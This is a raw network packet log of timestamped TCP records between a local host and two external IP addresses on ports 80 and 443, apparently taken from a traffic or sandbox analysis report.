Nov 13, 2024 18:08:12.935488939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.935497999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.935508966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.935519934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.935527086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.935550928 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.936239004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.936249018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.936264038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.936274052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.936279058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.936289072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.936302900 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.936355114 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.937092066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.937103033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.937110901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.937139988 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.937149048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.937552929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.937562943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.937572002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.937582016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.937592983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.937597990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.937621117 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.937637091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.938385010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.938396931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.938405037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.938433886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.938456059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.938766956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.938776016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.938786030 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.938796043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.938807011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.938816071 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.938838959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.939677954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.939688921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.939697027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.939724922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.939733982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.026865005 CET	443	49721	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.026936054 CET	443	49721	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.026995897 CET	49721	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.027200937 CET	49721	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.027223110 CET	443	49721	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.027235031 CET	49721	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.027240992 CET	443	49721	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.029148102 CET	443	49722	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.029504061 CET	443	49722	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.029588938 CET	49722	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.029588938 CET	49722	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.029628038 CET	49722	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.029642105 CET	443	49722	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.030996084 CET	49726	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.031034946 CET	443	49726	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.031112909 CET	49726	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.031352997 CET	49726	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.031367064 CET	443	49726	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.032239914 CET	49727	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.032300949 CET	443	49727	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.032366037 CET	49727	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.032465935 CET	49727	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.032480955 CET	443	49727	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.032593966 CET	443	49723	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.032754898 CET	443	49723	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.032845020 CET	49723	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.032845020 CET	49723	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.032860994 CET	49723	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.032865047 CET	443	49723	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.034770966 CET	49728	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.034802914 CET	443	49728	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.034892082 CET	49728	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.035017967 CET	49728	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.035036087 CET	443	49728	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.037497997 CET	443	49724	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.037566900 CET	443	49724	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.037602901 CET	49724	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.037781000 CET	49724	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.037791014 CET	443	49724	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.037815094 CET	49724	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.037821054 CET	443	49724	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.040534019 CET	49729	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.040558100 CET	443	49729	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.040616989 CET	49729	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.040760994 CET	49729	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:13.040771961 CET	443	49729	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:13.094338894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.094369888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.094383955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.094427109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.094427109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.094610929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.094623089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.094634056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.094662905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.094686985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.094937086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.094949007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.094980955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.095143080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.095153093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.095164061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.095175982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.095185995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.095191002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.095196962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.095211029 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.095220089 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.095249891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.095741034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.095751047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.095791101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.095906019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.095916986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.095927000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.095937967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.095948935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.095951080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.095977068 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.095988989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.096395016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.096406937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.096416950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.096430063 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.096441031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.096445084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.096451998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.096462965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.096468925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.096487999 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.096498966 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.097078085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.097124100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.097297907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.097310066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.097320080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.097332001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.097342014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.097342968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.097354889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.097364902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.097366095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.097384930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.097398996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.098139048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.098150969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.098160982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.098175049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.098185062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.098193884 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.098196983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.098208904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.098212957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.098220110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.098227024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.098247051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.098268986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.099040985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.099052906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.099062920 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.099075079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.099086046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.099093914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.099097967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.099104881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.099114895 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.099148035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.099740982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.099751949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.099762917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.099775076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.099785089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.099787951 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.099797964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.099808931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.099817038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.099845886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.100714922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.100725889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.100739956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.100753069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.100760937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.100764036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.100776911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.100788116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.100790024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.100804090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.100819111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.100819111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.100832939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.100840092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.100858927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.100884914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.101485014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.101496935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.101506948 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.101521015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.101531029 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.101531982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.101553917 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.101558924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.101568937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.101569891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.101582050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.101597071 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.101615906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.102212906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.102225065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.102236032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.102247953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.102258921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.102262020 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.102274895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.102277040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.102298021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.102303982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.102310896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.102330923 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.102343082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.102809906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.102819920 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.102830887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.102842093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.102854013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.102859974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.102864027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.102889061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.102896929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.102922916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.211168051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.211240053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.255158901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.255178928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.255187035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.255287886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.255321980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.255362034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.255388975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.255400896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.255424023 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.255439043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.255557060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.255567074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.255590916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.255603075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.255645037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.255656004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.255680084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.255697012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.255786896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.255796909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.255812883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.255820036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.255825043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.255832911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.255836010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.255863905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.255883932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.256382942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.256395102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.256406069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.256422043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.256438017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.256632090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.256658077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.256664038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.256669044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.256679058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.256690025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.256690979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.256700993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.256709099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.256711960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.256724119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.256735086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.256752968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.257205963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.257216930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.257226944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.257237911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.257241011 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.257249117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.257258892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.257268906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.257270098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.257281065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.257291079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.257296085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.257299900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.257316113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.257320881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.257327080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.257333994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.257338047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.257350922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.257376909 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.257987976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.258027077 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.258135080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.258145094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.258155107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.258167028 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.258173943 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.258177996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.258188009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.258198977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.258203030 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.258210897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.258220911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.258222103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.258232117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.258244038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.258250952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.258254051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.258280993 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.258996010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.259006977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.259016991 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.259028912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.259033918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.259040117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.259058952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.259082079 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.261044025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.261087894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.261097908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.261097908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.261116982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.261136055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.261394978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.261405945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.261415958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.261425972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.261425972 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.261444092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.261466980 CET	49714	80	192.168.2.6	185.215.113.206
